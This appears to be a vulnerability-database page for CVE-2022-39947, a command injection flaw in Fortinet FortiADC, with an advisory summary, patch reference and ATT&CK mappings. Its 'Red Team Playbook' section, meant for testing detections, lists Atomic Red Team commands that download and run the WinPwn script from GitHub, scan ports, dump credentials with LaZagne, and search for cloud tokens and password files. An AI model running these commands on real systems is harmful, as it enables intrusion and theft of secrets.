CVE-2022-39947
Overview
This vulnerability is a command injection flaw caused by improper neutralization of special elements in operating system commands within Fortinet FortiADC. The issue arises from insufficient input validation in the HTTP request handling component, allowing crafted inputs to be interpreted as OS commands. Affected versions span multiple releases from 5.4.0 through 7.0.2, impacting the FortiADC application delivery controller's command processing logic.
Vulnerability Description
A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiADC version 7.0.0 through 7.0.2, FortiADC version 6.2.0 through 6.2.3, FortiADC version version 6.1.0 through 6.1.6, FortiADC version 6.0.0 through 6.0.4, FortiADC version 5.4.0 through 5.4.5 may allow an attacker to execute unauthorized code or commands via specifically crafted HTTP requests.
Impact
An attacker with low-level privileges and network access can exploit this vulnerability to execute arbitrary OS commands on the FortiADC device without user interaction. This may lead to full system compromise, including unauthorized code execution, data manipulation, or service disruption. The CVSS vector indicates low attack complexity and no user interaction required, emphasizing the ease of exploitation within the affected network environment.
Solution
Fortinet has released patches addressing this vulnerability in FortiADC firmware versions beyond 7.0.2 and corresponding fixed versions in the 6.x and 5.x branches. Administrators should apply the updates as detailed in the Fortinet FortiGuard advisory FG-IR-22-061 (https://fortiguard.com/psirt/FG-IR-22-061). No alternative mitigations are specified; immediate firmware upgrade is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Fortinet FortiADC arises from improper neutralization of special elements used in operating system commands, commonly referred to as command injection. This flaw affects multiple versions of the FortiADC application, specifically versions 7.0.0 through 7.0.2, 6.2.0 through 6.2.3, 6.1.0 through 6.1.6, 6.0.0 through 6.0.4, and 5.4.0 through 5.4.5. The core issue lies in the application's failure to adequately sanitize user inputs that are processed as system commands. When an attacker crafts specific HTTP requests, they can exploit this vulnerability to execute arbitrary commands on the underlying operating system, potentially leading to unauthorized access and control over the affected systems.
Attack vectors for this vulnerability are primarily web-based, where an attacker can send specially crafted HTTP requests to the FortiADC appliance. By manipulating the input parameters, an attacker can inject malicious commands that the system will execute with the privileges of the application. This could lead to a range of malicious activities, including but not limited to data exfiltration, system compromise, or even lateral movement within a network. Scenarios may involve an attacker gaining access to sensitive configuration files, altering system settings, or deploying malware, all of which can have severe consequences for the integrity and confidentiality of the affected systems.
The real-world impact of this vulnerability is significant, particularly for organizations relying on FortiADC for application delivery and security. Given the CVSS score of 8.8, the risk level is classified as high, indicating that successful exploitation could lead to critical security breaches. Organizations may face financial losses due to operational downtime, data breaches, or regulatory penalties, especially if sensitive customer data is compromised. Additionally, the reputational damage resulting from such incidents can have long-lasting effects on customer trust and brand integrity.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating to the latest versions of FortiADC is crucial, as vendors often release patches to address known vulnerabilities. Employing web application firewalls (WAFs) can help filter and monitor HTTP requests for malicious payloads, reducing the risk of exploitation. Additionally, conducting regular security assessments and penetration testing can help identify potential weaknesses before they can be exploited by malicious actors. It is also advisable to implement strict access controls and monitoring to detect any unauthorized command executions or anomalies in system behavior.
In conclusion, the command injection vulnerability in Fortinet FortiADC presents a serious threat to organizations utilizing this application. The potential for unauthorized code execution through crafted HTTP requests underscores the importance of robust input validation and security hygiene. By prioritizing timely updates, employing security tools, and fostering a culture of security awareness, organizations can significantly reduce their risk exposure and enhance their overall cybersecurity posture.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Fortinet | Fortiadc | All |
cpe:2.3:a:fortinet:fortiadc:*:*:*:*:*:*:*:*
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|
Fortinet | Fortiadc | All |
cpe:2.3:a:fortinet:fortiadc:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiadc | All |
cpe:2.3:a:fortinet:fortiadc:*:*:*:*:*:*:*:*
|
|
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Fortinet | Fortiadc | All |
cpe:2.3:a:fortinet:fortiadc:*:*:*:*:*:*:*:*
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Fortinet | Fortiadc | 7.0.0 |
cpe:2.3:a:fortinet:fortiadc:7.0.0:*:*:*:*:*:*:*
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Fortinet | Fortiadc | 7.0.1 |
cpe:2.3:a:fortinet:fortiadc:7.0.1:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-39947 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-22-061 |